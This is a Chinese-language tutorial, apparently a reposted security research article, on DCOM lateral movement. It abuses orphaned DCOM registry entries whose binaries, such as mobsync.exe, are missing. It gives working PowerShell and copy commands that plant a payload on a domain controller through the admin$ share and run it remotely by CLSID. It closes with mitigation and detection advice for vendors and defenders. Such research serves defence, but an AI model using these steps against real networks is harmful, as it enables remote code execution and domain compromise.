您好,登錄后才能下訂單哦!
使用DCOM怎么實現橫向滲透,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
在此之前,關于DCOM橫向滲透技術的內容討論了已經有一年半載了,Matt Nelson (enigma0x3)此前也介紹過多種利用D/COM對象(例如MMC20、ShellWindows,ShellBrowserWindow、Excel和Outlook)實現的橫向滲透技術。相應的,Philip Tsukerman (@PhilipTsukerman)也發現過一種有趣的WMI橫向滲透技術,他的【 這篇文章】可以幫助大家更好地了解DCOM功能、橫向滲透技術以及相應的緩解方案。在繼續閱讀本文之前,我強烈建議大家閱讀一下這些資料。
幾周之前,我打算對我的筆記本系統進行虛擬化分析,雖然轉換過程非常痛苦,但最終還是在相關工具的幫助下成功了。但是考慮到安全問題,我需要確定原本的物理設備中是否還存有遺留數據,我手上沒有什么標準可以遵循,而且我對數字取證方面有額不感興趣。所以我打算研究一下注冊表,然后我很快就找到了一個有趣的CLSID注冊表路徑,它引用了一份二進制文件,而這個文件很可能是筆記本上為某個程序提供實用功能或者診斷功能的一個程序:
通過DIR命令查詢后,我們發現磁盤中并沒有C:\WINDOWS\system32\IntelCpHDCPSvc.exe:
我的腦海里瞬間出現了下面三個想法:
1. IntelCpHDCPSvc.exe是什么鬼?
2. 軟件卸載工具并沒有完全刪除舊軟件遺留在注冊表里的東西。
3. 這似乎是一個DCOM應用(使用Get-CimInstanceWin32_DCOMApplication查詢語句進行驗證)。
通過搜索引擎得知,IntelCpHDCPSvc.exe跟英特爾的內容保護HDCP服務有關,但是最有意思的是,LocalServer32和InProcServer32這兩個注冊表鍵值指向的是本應該存在的二進制文件路徑,而這些不存在的文件很可能會帶來嚴重的安全風險。由于在真實的攻擊中我們很少能夠看到IntelCpHDCPSvc的身影,因此我想看看能否可以利用DCOM來做些什么。
首先,我們需要在DCOM應用中定位相應的二進制文件路徑。這里我們可以利用下面的命令從Windows 2012中導出LocalServer32可執行程序和InProcServer32 DLL:
gwmiWin32_COMSetting -computername 127.0.0.1 | ft LocalServer32 -autosize |Out-String -width 4096 | out-file dcom_exes.txt
gwmiWin32_COMSetting -computername 127.0.0.1 | ft InProcServer32 -autosize |Out-String -width 4096 | out-file dcom_dlls.txt
我們得到了下列信息:
對數據進行拼接和過濾之后,我們可以使用下列命令查詢這些文件:
$file= gc C:\Users\test\desktop\dcom_things.txt
foreach($binpath in $file) {
$binpath
cmd.exe /c dir $binpath > $null
}
查詢結果如下:
%SystemRoot%\system32\mobsync.exe
FileNot Found
如下圖所示,文件確實不存在:
實際上,mobsync是Microsoft同步中心和脫機文件功能中的一個進程,因此mobsync.exe又開始變得更加有趣了。
之前我在枚舉AppID和CLSID方面沒有做得很好,所以我重新查看了注冊表并查找這些信息:
具體說來,在下個階段中我們需要利用[C947D50F-378E-4FF6-8835-FCB50305244D]這個CLSID來創建DCOM對象實例。
首先我們需要滿足以下條件:
1. 在遠程實例化DCOM對象之前,我們需要拿到管理員權限。
2. 為了發揮Payload的作用,我們將嘗試滲透目標主機所在域環境。假設已經拿到了管理員賬號憑證,我們將以Windows 10作為攻擊端,然后在Windows 2012域控制器(DC)上嘗試實現遠程命令執行。
首先是Payload,并確保目標系統中不包含mobsync.exe:
dir C:\evil.exe
dir \\acmedc\admin$\system32\mobsync.exe
非常好!由于mobsync.exe不存在,所以我們的Payload(evil.exe)就能夠繞過主機保護機制了,然后將其拷貝到DC上:
copy C:\evil.exe \\acmedc\admin$\system32\mobsync.exe
dir \\acmedc\admin$\system32\mobsync.exe
由于我們的二進制文件無法識別DCOM,因此實例化操作將無法成功,但Payload還是可以成功觸發的:
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
Windows10域成員:
Windows2012域控制器:
非常好,我們的“mobsync.exe”生成了惡意的“notepad.exe” Payload。
廠商:
1. 當軟件工具被卸載之后,確保沒有DCOM注冊表項遺留。
2. 不要在注冊表中創建指向并不存在的二進制文件的DCOM程序路徑。
網絡防御端:
1. 認真閱讀enigma0x3以及@PhilipTsukerman在各自文章中給出的建議,有針對性地收集相關IoC。
2. 避免重復使用主機賬號憑證。
3. 部署深度防御策略以及安全監控產品。
4. 監控文件系統及注冊表。
5. 監控網絡環境中的異常PowerShell操作,盡量強制啟用PowerShell的受限語言模式(CLM)。
6. 當DCOM調用失敗時,主機的系統日志中會生成ID為10010的錯誤事件信息,其中將包含CLSID信息。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。